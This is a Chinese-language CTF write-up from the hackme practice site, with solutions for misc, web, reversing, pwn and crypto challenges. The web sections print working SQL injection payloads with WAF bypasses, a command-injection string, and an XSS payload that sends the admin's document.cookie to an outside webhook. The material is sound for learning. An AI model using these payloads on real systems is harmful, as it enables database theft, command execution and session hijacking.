Try   HackMD

Hackme CTF write-up

  • 網址
  • 不需要辦帳號,只需隨便打一個 ID 就可以開始解(拜託不要登我的幫我解XD)
  • 警告,該頁面含有大量提示或可能含有 Flag。

目錄


Misc

#1 flag

  • 範例題目,Flag 就是FLAG{This is flag's format}

#2 corgi can fly

  • 題目網址點進去是一張狗狗的圖片
  • 我一開始先使用 binwalk 解看看,發現裡面有一個 zlib 檔案
    • 接著使用 zlib viewer 看看這個檔案,最後面會看到一個像是 base64 編碼過的字串
    • 解碼後得到 Did you tried LSB?
    • Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • LSB 指的應該是 LSB 隱寫術
    • 提示說可以使用 stegsolve
  • 用 stegsolve 打開圖片,每個 plane 看看,最後會在 red plane 0 看到一張 QR code
    • Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • 丟到 QR code 掃碼器就可以得到 flag

#3 television

  • 題目點進去後會得到一張圖片,下載下來並丟入 Hex Viewer,查詢FLAG即可看到 FLAG。
  • Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

#4 meow

  • 參考:https://blog.csdn.net/qq_41509200/article/details/100803074
  • 題目打開會看到一個圖片,下載下來之後用 binwalk 掃一下,發現裡面有壓縮檔。
  • 接著用 foremost 將檔案和圖片分離,得到原圖片 00000000.png 和壓縮檔 00000094.zip
  • 嘗試解壓縮,可以發現 flag 就在裡面,但被經過加密打不開;用 unzip -v 00000094.zip 分析,得到 CRC 值為cdad52bd
  • 接著將原圖 00000000.png 也壓縮,並查看 CRC 值發現一樣。
    • zip plain.zip 00000000.png
    • unzip -v plain.zip
  • 因此存在明文攻擊,可以用工具 pkcrack 爆開。
    • ./pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d result.zip -a

#5 where is flag

  • 題目會給你一個檔案flag.xz,解壓縮後會得到檔案flag,裡面有一堆很像 Flag 的東西。
  • 題目提示你使用 regular expression,我這邊使用線上工具 regex101
  • 我一開始不太確定 Flag 裡面能不能放特殊符號,所以我的規則是:
    • 開頭是FLAG{
    • 結尾是}
    • 中間不能有{} [] ()這些符號。
  • 轉換成 regex 就是FLAG{[^\{\}\(\)\[\]]+}
    • 出來的結果不只一個,發現其他都有@,只有一個純英文數字。
    • 可以將@也加入 regex 排除,不過我這邊就直接丟答案了。

#6 encoder

  • 題目附了兩個檔案,一個是加密的 code,另一個則是加密後的結果
  • 簡單看一下加密流程
    • 共有四種加密法
      • 英文字前後交換
      • base64
      • string to hex
      • 英文字大小寫交換
    • 每次隨機選一種方法
    • flag = 方法(index) + 加密後的 flag
    • 重複 30 ~ 50 次
  • 仔細看一下就會發現其實全部的加密都是可還原的(與其說是加密不如說是編碼),那就從結果一路解回來即可
    • 第一個字就是編碼的方式
    • 因為不知道做了幾次,所以就做到錯誤或是到 50 次為止
#!/usr/bin/env python2 import string def re_rot13(s): return s.translate(string.maketrans(string.uppercase + string.lowercase, string.uppercase[13:] + string.uppercase[:13] + string.lowercase[13:] + string.lowercase[:13])) def re_base64(s): return ''.join(s.decode('base64').split()) def re_hex(s): return s.decode('hex') def re_upsidedown(s): return s.translate(string.maketrans(string.uppercase + string.lowercase, string.lowercase + string.uppercase)) enc = open('flag.enc', 'r').read() D = (re_rot13, re_base64, re_hex, re_upsidedown) for i in range(50): try: type = int(enc[0]) print i, type enc = D[type](enc[1:]) except ValueError: break

#7 slow

  • 題目叫我們使用 nc 連到 server,實際連上去之後會跟我們說 Flag 格式是 FLAG\{[0-9A-Z_]+\}
  • 然後叫我們輸入 Flag,過一段時間後就會說 Bye 並結束連線。
  • 再詳細測試後會發現,輸入隨便的字串 123 和有符合格式的 FLAG{123},回傳 Bye 的時間有所差異。
    • 推測 Flag 對的越多,回傳時間越久
    • 利用這點暴力解每個字元,利用時間判斷字元是否正確
import time import string from pwn import * flag = 'FLAG{' while not flag.endswith('}'): for c in string.ascii_uppercase + string.digits + '}_': r = remote('ctf.hackme.quest', 7708) r.recvuntil('}\n') r.sendline(flag + c) start = time.time() r.recvuntil('Bye') t = time.time() - start print(t) r.close() if t - 1.5 > len(flag): flag += c print(flag) break
  • 然後就放著跑,要跑一段時間,最後 Flag 如果正確會回傳 Good。

#8 pusheen.txt

  • 題目下載下來是一個壓縮檔,裡面有一個 txt 文字檔,內容是一堆胖吉貓。
  • 觀察一下之後發現胖吉貓有白的和黑的兩種,直覺性的帶換成 01
f = open("pusheen.txt", "r", encoding = 'utf8') lines = f.readlines() code = "" num = 0 for line in lines: if(num % 16 == 3): if("▒" in line): code += "1" else: code += "0" num += 1 f.close() print(code)
  • 得到一串二進位數字之後,先轉為 Hex 碼再轉為字串就是 Flag。

#13 BZBZ

  • 點進題目後,會看到一個假的B站頁面,基本上只有登錄有用。
  • 隨手輸入一個帳號密碼後,跳出提示You must be a employee from bilibili!,看來要使用員工的格式才有用。
  • 搜尋bilibili employee format後得知帳號格式為XXX@bilibili.com,輸入後得到提示Do you like golang? We use golang for our service and it was opensourced.
  • 這邊和這題的 Description 都是在暗示你直接搜尋B站之前的源碼洩漏事件,google gitbhu openbilibili後可以找到一堆大家備份下來的數據庫XD
  • 之後就是在裡面找到一組能用的帳號密碼,輸入後得到 Flag。
    • app/admin/ep/melloi/cmd/convey-test.toml的 mail 裡面那組是能用的。
    • 找了其他幾組都無法成功,不確定是不是只有這一組能觸發。
    • 直接透過 google 爆搜相關新聞或討論其實也可以直接找到能用的帳號密碼,不一定要去挖程式碼。

Web

#15 hide and seek

  • 主頁面,反白XD

#16 guestbook

  • 題目網頁
  • 隨便丟一個 New Post 之後,到 Message List 查詢,發現網址後面是 id=XXX,含有 sqli 攻擊的可能。
  • 先用 UNION 確認資料列的數量:
    • mod=read&id=-1 UNION SELECT 1...
    • mod=read&id=-1 UNION SELECT 1,2,3,4 這個有顯示出東西,代表資料有四列。
  • 接著將有顯示出來的數字(2, 3, 4)換成想要偷的資料,這邊想要先偷出 database name:
    • id=-1 UNION SELECT 1,2,3,database()
    • 可以看到畫面上原本顯示 4 的地方變成了 g8,代表 database 名稱為 g8
  • 然後從 CTF 常見的 information_schema 偷資料。
    • SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱' 找到資料表中的列表,再利用 limit 可以顯示出資料。
    • payload: id=-1 UNION SELECT 1,2,3,(SELECT table_name FROM information_schema.tables WHERE table_schema='g8' limit 0,1)
    • 找到一個名為 flag 的 table,很像我們要的。
  • 再來一樣利用 information_schema 找出 flag 這個 table 中有那些欄位:
    • select column_name from information_schema.columns where table_name='flag' limit '偏移量',1
    • id=-1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 1,1),3,4# 發現裡面有個欄位叫 flag,應該就是我們要的。
  • 整理一下,所以我們要的是在資料庫 flag 中的 flag 這個欄位的資料,因為不知道資料是哪一個所以一樣用 limit 來偏移:
    • id=-1 union select 1,(select flag from flag limit '偏移量',1),3,4#
    • 最後 payload: id=-1 union select 1,(select flag from flag limit 1,1),3,4#
    • 02 的欄位是貓貓gif XDD

#17 LFI

<?php require('config.php'); if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') { echo $flag; } else { ?> <form action="?page=pages/login" method="post" role="form"> <div class="form-group"> <label for="user-i">User</label> <input type="text" class="form-control" id="user-i" placeholder="Username" name="user"> </div> <div class="form-group"> <label for="pass-i">Password</label> <input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass"> </div> <button type="submit" class="btn btn-primary">Login</button> </form> <?php } ?>
  • 這邊知道帳號是 admin,但密碼是經過 md5 的 hash 值,要怎麼知道呢?
  • 登入後成功得到 Flag

#18 homepage

  • 都叫 homepage 了,所以就到主頁面看看
  • 都是 Web 題了,那就先打開 F12 看看有啥,果然發現 console 有東西:
  • 用 QR code 掃一下得到 Flag

#19 ping

  • 題目網頁
  • 頁面中可輸入一個 IP,他會幫我們 ping 過去
  • 蠻明顯有個 command injection 的漏洞,不過題目 ban 了一堆字
  • 看一下之後發現 ban 了 $0 不過沒有 ban 單純 $ 這個字
    • $(ls) 可以看到注入成功,當前目錄有 flag.php
  • 再來我們想要把 flag cat 出來,可是 cat 是禁字
    • 查一下 cheat sheet,可以發現 $2 可以當作分隔用的字(因為參數 2 沒有任何東西)
  • 輸入 $(c$2at f*),得到 Flag

#20 scoreboard

  • 翻了老半天的 code 都沒翻到東西,轉到 NetWork 介面看封包,直接就找到了。
    • 藏在 scoreboard/ 這個封包的 Response Header 裡面。

#21 login as admin 0

  • 題目網址
  • 題目給了 source code 和一個登入介面,稍微掃過一下 code 很明顯是要 sqli
  • 可以看到他做的處理是黑名單,禁止我們做 or 1=1 drop update delete,然後單引號會被加上反斜線,基本上有擋跟沒擋一樣
    • 反斜線的部分在前面再加一個反斜線就可以過了
    • or 1=1 可以用 or 2=2 或是 || 1=1 來 bypass
  • 這邊使用 \'OR 2=2 # / asd 就可以登入了,但登入後卻顯示我不是 admin 拿不到 flag
  • 重新看一次 source code 後發現最上面的註解告訴我們,有第三個欄位 is_admin 來判斷是否為 admin,因此我們需要過濾出是 admin 的那一筆資料
    • 利用 limit
  • 最後 payload
    • \'OR 2=2 limit 1,1#

#22 login as admin 0.1

  • 題目網址和上一關一樣
  • 上一關解開之後,Flag 的後面會寫 flag2 in the database!,表示這一題其實還有第二個隱藏 flag
    • 估計是其他 user 的密碼或是在其他的表裡面
  • 同時我們可以注意到第一關登入後,會有 Hi, admin 的字樣,懷疑這裡的 admin 是從 database 拉出來的
    • 用 union 測試
    • \'AND 1=2 union select 1,2,3,4 #
    • 畫面上變成 Hi, 2,代表第二個欄位會顯示出來,可以利用
  • 先看看 admin 的密碼是不是 flag
    • \'AND 1=2 union select 1,password,3,4 from user limit 1,1#
    • 密碼為 password length is the key to secure your system,看起來不是 flag
  • 檢查有沒有其他使用者
    • \'OR 2=2 limit 2,1# 出現 Hi, inndy
  • 拉出 inddy 的 password
    • \'AND 1=2 union select 1,password,3,4 from user limit 2,1#
    • 密碼為 meow~~~~~~~i am not admin,看來 flag 在其他表裡面
  • 爆表名
    • \'AND 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() limit 0,1#
    • 找到另一張表 h1dden_f14g
  • 爆 column
    • \'AND 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x68316464656e5f66313467 limit 0,1#
    • 這邊要注意不能打單引號會被前面的機制給加上反斜線,所以字串要改成數字的方式來處理
    • 得到 column the_f14g
  • 拉出 flag
    • \'AND 1=2 union select 1,the_f14g,3,4 from h1dden_f14g limit 0,1#
    • 成功得到 flag

#23 login as admin 1

  • 題目網頁
  • 和前一題大同小異,WAF 有所更新,禁止:
    • (空格)
    • 1=1
    • ''
    • union select
    • select
  • 最麻煩的部分應該是空格不能用
    • 使用 /**/ 代替掉空格
  • 基本上按照上一題的 payload 去修改即可
    • \'OR/**/2=2/**/limit/**/1,1#

#38 xssme

  • 題目網址
  • 進入網頁後先隨便辦一個帳號,然後知道這是一個信箱功能的 web
  • 收件匣中有封信,裡面說道 admin 會閱讀所有你寄給它的信但它不會回信
  • 那目標就是寫一封信
    • 裡面可以觸發 js code
    • 跳轉網址到自己的 server
    • 後面附帶 get 參數,內容是 cookie
      • location.href = <WEBHOOK> + '?' + document.cookie
  • 實際去寫信之後會發現,<scirpt> 的標籤會被禁止
    • 去 web cheat sheet 慢慢試,發現 <svg/onload=<JSCODE>> 這個 payload 可以使用
  • 然後也會發現 location.href 被禁止
  • 這邊接收請求用的網頁我是使用 web.hook.sh
  • 最後 payload:
<svg/onload=location&#x2E;href='<WEBHOOK>?'+document.cookie>
  • 寄出信件後,就會在 webhook 的地方看到 flag,不過要記得做 URL decode
    • 還會拿到 flag2 在 REDIS 裡面的提示

Reversing

#41 helloworld

  • 下載下來之後,先執行看看,它會要求你輸入一個魔術數字,如果隨便輸入會叫你再試試。
    • 如果無法執行,可以使用線上Ubuntu
    • wget 下載題目,用 chmod +x 新增執行權限。
  • file 指令看一下,發現它沒有 strip,直接用 Ghidra 逆向看看。
  • 打開來後會看到 main() 裡面對一個變數先 scanf 又做 if 判斷,很像我們要的東西,將 if 判斷中的數字輸入即可得到 Flag。

#42 simple

  • #41,測試完之後進入逆向環節。
  • 逆向一樣沒有 strip,到 main 之後看到它是將 input 字串每個字元+1,最後比對字串 UIJT.JT.ZPVS.GMBH
    • 因此將 UIJT.JT.ZPVS.GMBH 全部減一即可。

#43 passthis

  • 題目下載下來之後執行看看,它會叫你輸入 Flag。
  • 一樣直接丟進 Ghidra,會發現 main 有點複雜,可以直接找到 Let me check your flag: 的部分往下看。
    • 前面的部分其實是下載一張圖片,如果你之後 Flag 輸入錯誤會把它換成你的桌布。
    • 不過不知道是不是 Windows 版本問題,我這邊只會變成全黑的桌布xD
  • 輸入完字串之後,它會檢查第一個字是不是 F,然後做一連串的檢查。
    • 懶得繼續逆向,直接推測 + 實測。
  • 這邊合理推測是判斷輸入是不是 FLAG{????},只要前面正確就會輸出 Good flag :),否則 Not the flag!
  • 那麼我們只要瘋狂把 ASCII 可視字元全部打進去就知道結果了。
from pwn import * context.log_level = 'ERROR' flag = 'FLAG{' while True: for i in range(30, 150): c = chr(i) p = process('./passthis.exe') f = flag + c b = bytearray(f, 'ascii') try: p.sendline(b) except EOFError: print('eof') r = p.recvline() if 'Good' in r.decode('ascii'): flag = f p.close() break else: p.close() print(flag)

#44 pyyy

  • 題目載下來是一個 .pyc 檔案,Google 一下發現是 python 編譯後的檔案。
  • 使用反編譯工具跑一下,得到一份 python2 的檔案。
# uncompyle6 version 3.5.0 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.5 (default, Aug 7 2019, 00:51:29) # [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] # Embedded file name: pyyy.py # Compiled at: 2016-06-12 01:14:31 __import__('sys').setrecursionlimit(1048576) data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI' a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L F = (a, b, c, d, e) m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L z = [] for i, f in enumerate(F): n = pow(f, m, g) this_is = 'Y-Combinator' l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777) c = raw_input('Channenge #%d:' % i) if int(c) != l: print 'Wrong~' exit() z.append(l) z.sort() gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM' print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))
  • 到有 python2 的環境實際跑一次,會要求輸入數字,Trace 一下 code,發現第 22 行要求輸入 c 並且比較是否和 l 相等。
  • 改一下 code,將第 22 行直接改成 c = l,執行得到 Flag。

#45 accumulator

  • 一樣下載執行丟 Ghidra。
  • 這次的有 strip 因此比較難讀,但我們知道執行時有打印出 What's your flag? 的字串,我們可以先 Search -> For Strings 找出所有字串的記憶體位置,然後再對該字串按Ctrl + Shift + F 做 Cross reference 搜尋,快速找到哪個 Function 使用到該字串,而該 Function 就是 main Function。
  • main 中的 19 行做了 input 的讀取,然後後面做了 SHA512,最後做了兩次看起來像 Check Funtcion 的東西後輸出結果。
    • 合理懷疑 Check Function 就是關鍵。
  • 進入 Check Function 後稍微修一下名稱:
    • 對變數按 L 可修改名稱。
  • 觀察一下可以得到:
    • str[0] = TABLE[0]
    • str[1] + str[0] = TABLE[1]
    • str[2] + str[1] + str[0] = TABLE[2]
  • 回推一下得到:
    • str[1] = TABLE[1] - TABLE[0]
    • str[2] = TABLE[2] - TABLE[1] - TABLE[0]
  • 因此我們可以從 TABLE 回推出 str 到底是什麼,先從 Ghidra 去調 TABLE
    • TABLE 按兩下會跳到他的記憶體區段,然後上面的 code 第 15 行可以知道是用 int 當作單位。
    • 全選 TABLE 區段,右鍵 Data -> int 就可以轉換。
    • 複製所有資料然後丟到 python 處理一下得到 Flag:
a = [ 0xC3, 0xFF, 0x1ED, 0x248, 0x31F, 0x3A1, 0x3B2, 0x43E, 0x49C, 0x4A0, 0x58D, 0x63B, 0x70D, 0x736, 0x821, 0x910, 0x97E, 0xA2D, 0xAA7, 0xB9C, 0xC8D, 0xD4B, 0xD5A, 0xE41, 0xE80, 0xF6E, 0xF95, 0x1061, 0x1084, 0x112A, 0x11AB, 0x1210, 0x1262, 0x1347, 0x1387, 0x13D0, 0x13F2, 0x14AB, 0x1586, 0x15A0, 0x160C, 0x1677, 0x1769, 0x17E6, 0x17EE, 0x1836, 0x1843, 0x190A, 0x1945, 0x19D1, 0x19F7, 0x1A60, 0x1B42, 0x1B62, 0x1B8D, 0x1BC2, 0x1C6A, 0x1D2C, 0x1D8B, 0x1DF9, 0x1E1A, 0x1F14, 0x1FD2, 0x1FFB, 0x2041, 0x208D, 0x20CE, 0x2115, 0x2190, 0x21C0, 0x21F5, 0x2226, 0x2259, 0x228C, 0x22C5, 0x22F9, 0x232F, 0x2366, 0x2399, 0x23C9, 0x23FF, 0x2465, 0x249E, 0x24D5, 0x250B, 0x2544, 0x2577, 0x25AC, 0x25DC, 0x260D, 0x2640, 0x2676, 0x26D8, 0x270C, 0x273D, 0x27A0, 0x27D3, 0x2806, 0x2836, 0x286E, 0x28A2, 0x28D2, 0x2937, 0x299C, 0x29FE, 0x2A61, 0x2AC2, 0x2B25, 0x2B58, 0x2B8B, 0x2BC2, 0x2C28, 0x2C59, 0x2CBB, 0x2CF3, 0x2D55, 0x2D85, 0x2DE9, 0x2E4C, 0x2E7C, 0x2EAF, 0x2F14, 0x2F49, 0x2F81, 0x2FE3, 0x3048, 0x3079, 0x30AD, 0x3113, 0x3178, 0x31AE, 0x31E7, 0x3217, 0x3279, 0x32AA, 0x32DC, 0x330F, 0x3375, 0x33AB, 0x33DC, 0x343E, 0x346E, 0x34D1, 0x3501, 0x3563, 0x3596, 0x35CB, 0x3631, 0x3694, 0x36CD, 0x3700, 0x3763, 0x37C6, 0x3829, 0x3860, 0x3892, 0x38C3, 0x38F3, 0x3923, 0x3957, 0x398C, 0x39C5, 0x39F8, 0x3A2E, 0x3A67, 0x3ACC, 0x3B32, 0x3B6A, 0x3B9F, 0x3BD2, 0x3C03, 0x3C64, 0x3C95, 0x3CFA, 0x3D32, 0x3D93, 0x3DCA, 0x3E2C, 0x3E60, 0x3E92, 0x3ECB, 0x3F04, 0x3F69, 0x3FA0, 0x4002, 0x403B, 0x409F, 0x40D8, 0x410F, 0x413F, 0x41A1, 0x41DA, 0x423B, 0x426D, 0x42A0, 0x4301, 0x4362, 0x43DF ] for i in range(1,len(a)): print(chr(a[i] - a[i-1]),end='')

Pwn

#57 catflag

  • 題目要求使用nc hackme.inndy.tw 7709連到 server 上。
  • 連上去之後顯示plz capture the flag after 5 seconds... 並開始倒數。
    • 倒數結束後,該 process 變成一個遠端 shell,但幾乎不能做任何操作。
    • 輸入 ls 得到 flag run.sh shell 三個檔案,但其他指令都沒有反應。
  • 重新 nc 之後,五秒內輸入cat flag即可。

Crypto

#81 easy

  • 題目是 526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d,先將其做 HexDecode 再做 base64Decode 即可。

#82 r u kidding

  • 題目是 EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq},有一點 sense 就知道只是 shift 而已。
    • 答案也跟你說就是 caesar cipher。

#83 not hard

  • 題目是 Nm@rmLsBy{Nm5u-K{iZKPgPMzS2I*lPc%_SMOjQ#O;uV{MM*?PPFhk|Hd;hVPFhq{HaAH<,提示使用 python3 的 base64 套件。
  • 試一下之後發現用 base85 解碼,可以得到 IZGECR33IRXSA6LPOUQGW3TPO4QGEYLTMUZTEIDFNZRW6ZDJNZTT67I=
  • 接著使用 base32 再解一次,得到 Flag。
  • 感覺有點小通靈XD 不過 base64 套件全部試一次一樣可以得到答案。

#84 classic cipher 1

  • 題目是 MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO},並告訴你說使用替換加密法。
  • 使用線上工具就得到答案了。

#85 classic cipher 2

  • 題目是很長一串的密文,並告訴你使用 vigenere cipher。
  • 我們知道 vigenere cipher 可以使用頻率分析法去破解,但不可能自己寫。
  • Google vigenere cipher online without key 找到線上工具
    • 記得調整 key 的大小和語言

#86 easy AES

  • 題目給了一段 python code,簡單分析一下:
    1. 要求使用者輸入明文
    2. AES 加密明文,如果不等於Good Plain Text!就噴錯跳出
    3. 如果相等,用AES解密一串神祕資料並吐成圖片。
  • 我們知道 AES 是對稱式加密,我們的目標是AES_encrypt(Plain) = "Good Plain Text!",反過來得到Plain = AES_decrypt("Good Plain Text!")
  • 當然不需要手動計算或輸入這個明文,直接修改 python code 讓它自動計算即可(第三行):
def main(data): c = AES.new(b'Hello, World...!') plain_text = c.decrypt(b'Good Plain Text!') if c.encrypt(plain_text) != b'Good Plain Text!': print('Bad plain text') exit() c2 = AES.new(plain_text[::-1], mode=AES.MODE_CBC, IV=b'1234567887654321') decrypted = c2.decrypt(data) with open('output.jpg', 'wb') as fout: fout.write(decrypted)

Programming

#97 fast

